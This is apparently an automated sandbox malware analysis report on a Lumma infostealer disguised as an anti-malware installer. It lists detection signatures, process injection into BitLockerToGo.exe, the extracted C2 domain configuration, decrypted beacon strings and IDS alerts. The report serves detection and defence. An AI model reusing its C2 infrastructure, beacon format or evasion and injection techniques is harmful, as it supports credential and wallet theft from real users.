Edit tour

Windows Analysis Report
anti-malware-setup.exe

Overview

General Information

Sample name:	anti-malware-setup.exe
Analysis ID:	1587433
MD5:	fedb69af5de74d46366ad0570e77d9ac
SHA1:	a85c8c91780e9366fafc2aba2d13e5b3a49c37ba
SHA256:	61316bc78fb84aaa2d5fd1e10aec9a8cf96ab5ac7ee1436048eb7fd199045310
Tags:	exeuser-zhuzhu0009
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to resolve many domain names, but no domain seems valid

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

anti-malware-setup.exe (PID: 4996 cmdline: "C:\Users\user\Desktop\anti-malware-setup.exe" MD5: FEDB69AF5DE74D46366AD0570E77D9AC)

BitLockerToGo.exe (PID: 6204 cmdline: "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["shapestickyr.lat", "manyrestro.lat", "curverpluch.lat", "tentabatte.lat", "talkynicer.lat", "wordyfindy.lat", "bashfulacid.lat", "slipperyloo.lat", "enterwahsh.biz"], "Build id": "HpOoIh--bd4e81951306"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2322019566.000000000213A000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
00000003.00000003.2411433910.0000000003497000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 6204	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 6204	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 6204	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T11:34:28.390611+0100	2028371	3	Unknown Traffic	192.168.2.5	49770	104.102.49.254	443	TCP
2025-01-10T11:34:29.481329+0100	2028371	3	Unknown Traffic	192.168.2.5	49780	104.21.48.1	443	TCP
2025-01-10T11:34:30.467471+0100	2028371	3	Unknown Traffic	192.168.2.5	49787	104.21.48.1	443	TCP
2025-01-10T11:34:31.736399+0100	2028371	3	Unknown Traffic	192.168.2.5	49796	104.21.48.1	443	TCP
2025-01-10T11:34:33.191826+0100	2028371	3	Unknown Traffic	192.168.2.5	49805	104.21.48.1	443	TCP
2025-01-10T11:34:34.476499+0100	2028371	3	Unknown Traffic	192.168.2.5	61984	104.21.48.1	443	TCP
2025-01-10T11:34:37.015416+0100	2028371	3	Unknown Traffic	192.168.2.5	62001	104.21.48.1	443	TCP
2025-01-10T11:34:39.107891+0100	2028371	3	Unknown Traffic	192.168.2.5	62017	104.21.48.1	443	TCP
2025-01-10T11:34:40.315230+0100	2028371	3	Unknown Traffic	192.168.2.5	62024	104.21.48.1	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T11:34:29.915029+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49780	104.21.48.1	443	TCP
2025-01-10T11:34:30.952361+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49787	104.21.48.1	443	TCP
2025-01-10T11:34:40.780403+0100	2054653	1	A Network Trojan was detected	192.168.2.5	62024	104.21.48.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T11:34:29.915029+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49780	104.21.48.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T11:34:30.952361+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49787	104.21.48.1	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bashfulacid .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T11:34:27.695225+0100	2058480	1	Domain Observed Used for C2 Detected	192.168.2.5	55149	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (curverpluch .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T11:34:27.673815+0100	2058484	1	Domain Observed Used for C2 Detected	192.168.2.5	58483	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (enterwahsh .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T11:34:27.592980+0100	2058608	1	Domain Observed Used for C2 Detected	192.168.2.5	49919	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (manyrestro .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T11:34:27.636200+0100	2058492	1	Domain Observed Used for C2 Detected	192.168.2.5	65283	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (shapestickyr .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T11:34:27.646656+0100	2058500	1	Domain Observed Used for C2 Detected	192.168.2.5	57991	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (slipperyloo .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T11:34:27.623847+0100	2058502	1	Domain Observed Used for C2 Detected	192.168.2.5	63976	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (talkynicer .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T11:34:27.658561+0100	2058510	1	Domain Observed Used for C2 Detected	192.168.2.5	57035	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tentabatte .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T11:34:27.684905+0100	2058512	1	Domain Observed Used for C2 Detected	192.168.2.5	50267	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wordyfindy .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T11:34:27.613414+0100	2058514	1	Domain Observed Used for C2 Detected	192.168.2.5	51023	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T11:34:35.105358+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	61984	104.21.48.1	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T11:34:28.908331+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.5	49770	104.102.49.254	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://sputnik-1985.com/v	Avira URL Cloud: Label: malware
Source: https://sputnik-1985.com/api	Avira URL Cloud: Label: malware
Source: https://sputnik-1985.com/~	Avira URL Cloud: Label: malware
Source: https://sputnik-1985.com/	Avira URL Cloud: Label: malware
Source: enterwahsh.biz	Avira URL Cloud: Label: malware
Source: https://sputnik-1985.com/apiate	Avira URL Cloud: Label: malware
Source: https://sputnik-1985.com:443/api	Avira URL Cloud: Label: malware
Source: https://sputnik-1985.com/U70	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0.2.anti-malware-setup.exe.1dd0000.1.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["shapestickyr.lat", "manyrestro.lat", "curverpluch.lat", "tentabatte.lat", "talkynicer.lat", "wordyfindy.lat", "bashfulacid.lat", "slipperyloo.lat", "enterwahsh.biz"], "Build id": "HpOoIh--bd4e81951306"}

Multi AV Scanner detection for submitted file

Source: anti-malware-setup.exe	Virustotal: Detection: 72%			Perma Link
Source: anti-malware-setup.exe	ReversingLabs: Detection: 71%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2320777741.0000000001C96000.00000004.00001000.00020000.00000000.sdmp	String decryptor: bashfulacid.lat
Source: 00000000.00000002.2320777741.0000000001C96000.00000004.00001000.00020000.00000000.sdmp	String decryptor: tentabatte.lat
Source: 00000000.00000002.2320777741.0000000001C96000.00000004.00001000.00020000.00000000.sdmp	String decryptor: curverpluch.lat
Source: 00000000.00000002.2320777741.0000000001C96000.00000004.00001000.00020000.00000000.sdmp	String decryptor: talkynicer.lat
Source: 00000000.00000002.2320777741.0000000001C96000.00000004.00001000.00020000.00000000.sdmp	String decryptor: shapestickyr.lat
Source: 00000000.00000002.2320777741.0000000001C96000.00000004.00001000.00020000.00000000.sdmp	String decryptor: manyrestro.lat
Source: 00000000.00000002.2320777741.0000000001C96000.00000004.00001000.00020000.00000000.sdmp	String decryptor: slipperyloo.lat
Source: 00000000.00000002.2320777741.0000000001C96000.00000004.00001000.00020000.00000000.sdmp	String decryptor: wordyfindy.lat
Source: 00000000.00000002.2320777741.0000000001C96000.00000004.00001000.00020000.00000000.sdmp	String decryptor: enterwahsh.biz
Source: 00000000.00000002.2320777741.0000000001C96000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2320777741.0000000001C96000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2320777741.0000000001C96000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2320777741.0000000001C96000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2320777741.0000000001C96000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2320777741.0000000001C96000.00000004.00001000.00020000.00000000.sdmp	String decryptor: HpOoIh--bd4e81951306

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_004165E4 CryptUnprotectData,

3_2_004165E4

Source: anti-malware-setup.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:61984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:62001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:62017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:62024 version: TLS 1.2

Source: anti-malware-setup.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: anti-malware-setup.exe, 00000000.00000002.2322019566.0000000002100000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: anti-malware-setup.exe, 00000000.00000002.2322019566.0000000002100000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then push edi	3_2_0040C885
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 53BABCE5h	3_2_0040D307
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then lea eax, dword ptr [esi-000010AAh]	3_2_00409B20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, word ptr [esp+eax*2+7A8ED03Eh]	3_2_00436C90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ecx	3_2_0043BD70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, word ptr [esp+ecx*2+000001A0h]	3_2_00409D39
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [edx], cx	3_2_004165E4
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then lea ecx, dword ptr [eax+0000520Ch]	3_2_0040D5FD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then lea ecx, dword ptr [eax+0000133Bh]	3_2_0042AF24
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 5C2B5D44h	3_2_0043BFCD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_004227F6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, word ptr [esp+eax*2+00000274h]	3_2_0042AF9F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0042A855
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebp, dword ptr [ecx+esi*4-000009BCh]	3_2_004088C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, ecx	3_2_004258C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [ecx], dl	3_2_004258C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then lea edx, dword ptr [ecx-000051A8h]	3_2_004258C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_004278E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	3_2_004340E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0041A8EF
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then lea edx, dword ptr [ecx+00001E9Fh]	3_2_0041508C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, word ptr [esp+ecx*2+1Ch]	3_2_0041508C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_0041508C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then lea edx, dword ptr [ecx-5F5E1539h]	3_2_0043D090
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 2213E57Fh	3_2_004218B7
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, word ptr [esp+eax*2+00000128h]	3_2_00417941
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [edx], ax	3_2_00417941
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then lea edx, dword ptr [ecx-5F5E1539h]	3_2_0043D140
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edi, word ptr [esp+edx*2-000126A4h]	3_2_0041695C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_0042C109
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 385488F2h	3_2_00437910
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, eax	3_2_004029D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then lea edx, dword ptr [ecx-5F5E1539h]	3_2_0043D1D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, eax	3_2_00405980
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebp, eax	3_2_00405980
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	3_2_00429260
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, word ptr [esp+eax*2-7A433DC6h]	3_2_0043B26F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, word ptr [ecx]	3_2_00413A20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00421220
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edi, ecx	3_2_0041AAD8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	3_2_0041E29F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 0985CAF0h	3_2_0040E2A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [eax], bl	3_2_0040CB05
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, word ptr [esp+eax*2+00000086h]	3_2_0042631D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, word ptr [esp+eax*2+14h]	3_2_0042A322
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, word ptr [esp+eax*2+10027EC6h]	3_2_0041B3C6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, word ptr [esp+ecx*2+00000170h]	3_2_0042C477
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	3_2_00428CD0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+2Ch]	3_2_004074E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+edi*4+00h]	3_2_004074E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then lea ecx, dword ptr [eax+0000133Bh]	3_2_0042B4E1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [ecx], al	3_2_0041ACF9
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [ebx], cl	3_2_0042ACBD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edx], al	3_2_0041A541
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0041A541
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [esp+44h], 2EAF22BBh	3_2_0042B5BB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [esp+14h], ecx	3_2_004205BC
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ecx	3_2_0043BE0A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, word ptr [esp+eax*2-5E87212Eh]	3_2_00414620
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, word ptr [esp+eax*2+02h]	3_2_0041AE87
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, word ptr [esp+eax*2+10027EC6h]	3_2_0041AE87
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+edx]	3_2_0043AE90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0042A742
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [ebp+ebx+02h], 0000h	3_2_00420F50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00420F50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 7F7BECC6h	3_2_0043A770
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	3_2_00429700
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [esi+edi*8], E81D91D4h	3_2_0043DF30
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then lea edx, dword ptr [ecx-5F5E1539h]	3_2_0043CF30
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, word ptr [esi+eax*2+54h]	3_2_00419FDF
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_00419FDF
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [ecx], dx	3_2_0040DFF5
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0042A7AD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0042A7BC

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058492 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (manyrestro .lat) : 192.168.2.5:65283 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058512 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tentabatte .lat) : 192.168.2.5:50267 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058480 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bashfulacid .lat) : 192.168.2.5:55149 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058502 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (slipperyloo .lat) : 192.168.2.5:63976 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058514 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wordyfindy .lat) : 192.168.2.5:51023 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058608 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (enterwahsh .biz) : 192.168.2.5:49919 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058500 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (shapestickyr .lat) : 192.168.2.5:57991 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058484 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (curverpluch .lat) : 192.168.2.5:58483 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058510 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (talkynicer .lat) : 192.168.2.5:57035 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:49770 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49780 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49780 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49787 -> 104.21.48.1:443
